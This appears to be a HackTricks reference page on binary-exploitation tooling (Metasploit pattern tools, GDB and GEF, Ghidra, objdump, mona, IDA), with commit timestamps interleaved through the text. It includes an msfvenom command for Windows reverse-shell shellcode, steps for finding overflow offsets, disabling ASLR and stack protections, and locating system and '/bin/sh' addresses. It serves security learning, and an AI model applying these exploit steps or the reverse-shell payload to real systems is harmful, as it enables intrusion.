2022-05-01 16:32:23 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2022-04-28 16:01:33 +00:00
2023-04-25 18:35:28 +00:00
- **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
2022-04-28 16:01:33 +00:00
2022-12-05 22:29:21 +00:00
- **Share your hacking tricks by submitting PRs to the [hacktricks repo ](https://github.com/carlospolop/hacktricks ) and [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >
2022-05-01 16:32:23 +00:00
# Metasploit
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
2022-05-01 16:32:23 +00:00
## Shellcodes
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
msfvenom /p windows/shell_reverse_tcp LHOST=< IP > LPORT=< PORT > [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
2022-05-01 16:32:23 +00:00
# GDB
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
## Install
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
apt-get install gdb
2021-09-24 22:54:24 +00:00
```
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
## Parameters
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
**-q** --> No show banner\
**-x \<file>** --> Auto-execute GDB instructions from here\
**-p \<pid>** --> Attach to process
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
### Instructions
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
\> **disassemble main** --> Disassemble the function\
\> **disassemble 0x12345678** \
\> **set disassembly-flavor intel** \
\> **set follow-fork-mode child/parent** --> Follow created process\
\> **p system** --> Find the address of the system function\
\> **help** \
\> **quit**
2022-05-01 16:32:23 +00:00
\> **br func** --> Add breakpoint to function\
2021-10-18 11:21:18 +00:00
\> **br \*func+23** \
\> **br \*0x12345678** \
**> del NUM** --> Delete that number of br\
\> **watch EXPRESSION** --> Break if the value changes
**> run** --> Execute\
**> start** --> Start and break in main\
\> **n/next** --> Execute next instruction (no inside)\
\> **s/step** --> Execute next instruction\
\> **c/continue** --> Continue until next breakpoint
\> **set $eip = 0x12345678** --> Change value of $eip\
\> **info functions** --> Info abount functions\
\> **info functions func** --> Info of the funtion\
\> **info registers** --> Value of the registers\
\> **bt** --> Stack\
\> **bt full** --> Detailed stack
\> **print variable** \
\> **print 0x87654321 - 0x12345678** --> Caculate\
2021-11-30 16:46:07 +00:00
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii
2021-10-18 11:21:18 +00:00
2021-11-30 16:46:07 +00:00
* **x/o 0xDir\_hex**
2021-10-18 11:21:18 +00:00
* **x/2x $eip** --> 2Words from EIP
2022-05-01 16:32:23 +00:00
* **x/2x $eip -4** --> $eip - 4
* **x/8xb $eip** --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
2021-10-18 11:21:18 +00:00
* **i r eip** --> Value of $eip
* **x/w pointer** --> Value of the pointer
* **x/s pointer** --> String pointed by the pointer
* **x/xw \&pointer** --> Address where the pointer is located
* **x/i $eip** —> Instructions of the EIP
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
## [GEF](https://github.com/hugsy/gef)
2021-09-24 22:54:24 +00:00
```bash
checksec #Check protections
2021-09-24 22:58:16 +00:00
p system #Find system function address
2021-09-24 22:54:24 +00:00
search-pattern "/bin/sh" #Search in the process memory
2021-09-24 22:58:16 +00:00
vmmap #Get memory mappings
2021-09-24 22:54:24 +00:00
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
2020-07-15 15:43:14 +00:00
2021-09-24 22:54:24 +00:00
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
2021-09-26 22:36:48 +00:00
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
2021-09-24 22:54:24 +00:00
```
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
## Tricks
2021-09-25 16:33:43 +00:00
2022-05-01 16:32:23 +00:00
### GDB same addresses
2021-09-25 16:33:43 +00:00
2021-11-30 16:46:07 +00:00
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
2021-09-25 16:33:43 +00:00
* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<path>` _Put the absolute path to the binary_
* Exploit the binary using the same absolute route
2022-04-05 22:24:52 +00:00
* `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
2021-09-25 16:33:43 +00:00
2022-05-01 16:32:23 +00:00
### Backtrace to find functions called
2021-09-25 16:33:43 +00:00
2021-11-30 16:46:07 +00:00
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input** .\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the ** `bt` ** (**backtrace**) command to see the functions called:
2021-09-25 16:33:43 +00:00
2021-10-18 11:21:18 +00:00
```
2021-09-25 16:33:43 +00:00
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
2022-05-01 16:32:23 +00:00
## GDB server
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
# Ghidra
2021-09-26 22:36:48 +00:00
2022-05-01 16:32:23 +00:00
## Find stack offset
2021-09-26 22:36:48 +00:00
2021-11-30 16:46:07 +00:00
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.** \
2022-04-05 22:24:52 +00:00
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc` . Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac` .\
2021-09-26 22:36:48 +00:00
_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 616 ) . png > )
2021-09-26 22:36:48 +00:00
2022-05-01 16:32:23 +00:00
# GCC
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
2021-10-18 11:21:18 +00:00
**-o** --> Output\
**-g** --> Save code (GDB will be able to see it)\
2021-11-30 16:46:07 +00:00
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
**To compile a shellcode:**\
**nasm -f elf assembly.asm** --> return a ".o"\
**ld assembly.o -o shellcodeout** --> Executable
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
# Objdump
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
**-Mintel** --> **Intel** syntax\
**-t** --> **Symbols** table\
**-D** --> **Disassemble all** (address of static variable)\
2021-10-18 11:21:18 +00:00
**-s -j .dtors** --> dtors section\
**-s -j .got** --> got section\
2021-11-30 16:46:07 +00:00
\-D -s -j .plt --> **plt** section **decompiled** \
2021-10-18 11:21:18 +00:00
**-TR** --> **Relocations** \
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
2021-11-30 16:46:07 +00:00
**objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section).
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
# Core dumps
2020-07-15 15:43:14 +00:00
1. Run `ulimit -c unlimited` before starting my program
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
2021-10-18 11:21:18 +00:00
3. sudo gdb --core=\<path/core> --quiet
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
# More
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
**strace executable** --> Functions called by the executable\
2021-11-30 16:46:07 +00:00
**rabin2 -i ejecutable -->** Address of all the functions
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
# **Inmunity debugger**
2020-07-15 15:43:14 +00:00
2021-09-24 22:54:24 +00:00
```bash
2020-07-15 15:43:14 +00:00
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
2022-05-01 16:32:23 +00:00
# IDA
2020-07-15 15:43:14 +00:00
2022-05-01 16:32:23 +00:00
## Debugging in remote linux
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
./linux_server64 -Ppass
```
2022-04-05 22:24:52 +00:00
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 101 ) . png > )
2022-04-28 16:01:33 +00:00
2022-05-01 16:32:23 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2022-04-28 16:01:33 +00:00
2023-04-25 18:35:28 +00:00
- **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
2022-04-28 16:01:33 +00:00
2022-12-05 22:29:21 +00:00
- **Share your hacking tricks by submitting PRs to the [hacktricks repo ](https://github.com/carlospolop/hacktricks ) and [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >
2022-05-01 16:32:23 +00:00